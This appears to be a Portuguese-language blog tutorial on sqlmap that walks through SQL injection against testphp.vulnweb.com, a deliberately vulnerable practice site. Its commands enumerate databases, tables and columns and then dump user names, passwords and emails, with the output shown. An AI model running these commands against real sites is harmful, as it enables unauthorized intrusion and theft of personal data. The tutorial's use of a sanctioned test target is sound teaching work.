E ae galera, hoje vamos fazer uma invasão a um banco de dados de um site.
Apresentação - SQLMAP
Sqlmap é uma ferramenta open source para teste de penetração que automatiza o processo de detecção e exploração de vulnerabilidades a Injeção de SQL.
Instalação
sudo apt install sqlmap
ou visite: sqlmap.org
Após a instalação
Nesse tutorial irei demonstrar o uso da ferramenta em um site chamado Home of Acunetix Art (testphp.vulnweb.com) onde os desenvolvedores do ambiente permitem esses tipos de testes de invasão.
Executando o sqlmap:
sqlmap -u http://testphp.vulnweb.com/search.php?test=query –dbsUsando o método GET, passamos os seguintes paramentos:
-u: URL DO SITE
--dbs: LISTA OS BANCO DE DADOS DO SITE
Como pode visualizar os banco de dados são exibidos:
[*] acuart
[*] information_schema
Agora que foram listados os banco de dados vamos extrair as tabelas do banco de dados acuart.
sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart --tablesParâmetros:
-D: Define o banco de dados que será avaliado.
acuart: Banco de dados do site.
–-tables: Lista todas as tabelas do banco de dados informado.
Como resultado são extraídas 8 tabelas do banco de dados acuart.
+ artists
+ carts
+ categ
+ featured
+ guestbook
+ pictures
+ products
+ users
Vamos extrair todas as colunas existentes na tabela users.
sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart -T users --columnsParâmetros:
-T: Define a tabela que será avaliada.Como resultado são extraídas 8 colunas da tabela users.
users: Tabela do banco de dados acuart.
–-columns: Lista todas as colunas da tabela users.
+ address
+ cart
+ cc
+ email
+ name
+ pass
+ phone
+ uname
Neste passo iremos realizar o DUMP ou seja extrair todas as informações cadastradas nas colunas da tabela users.
sqlmap -u http://testphp.vulnweb.com/search.php?test=query -D acuart -T users -C name,pass,uname,email --dump
Parâmetros:
Segue abaixo todos os dados extraídos:-C: Define as colunas que será avaliada.name,pass,uname,email: Lista das colunas da tabela users.--dump: Extrai todas as informações contidas nas colunas da tabela informada.
pass: testname: John Smith (porem bugado)uname: testemail: email@email.com
Username: test
Password: test
Foi um tutorial básico, Sqlmap é uma ferramenta muito grande, tem varias opções.
Nenhum comentário:
Postar um comentário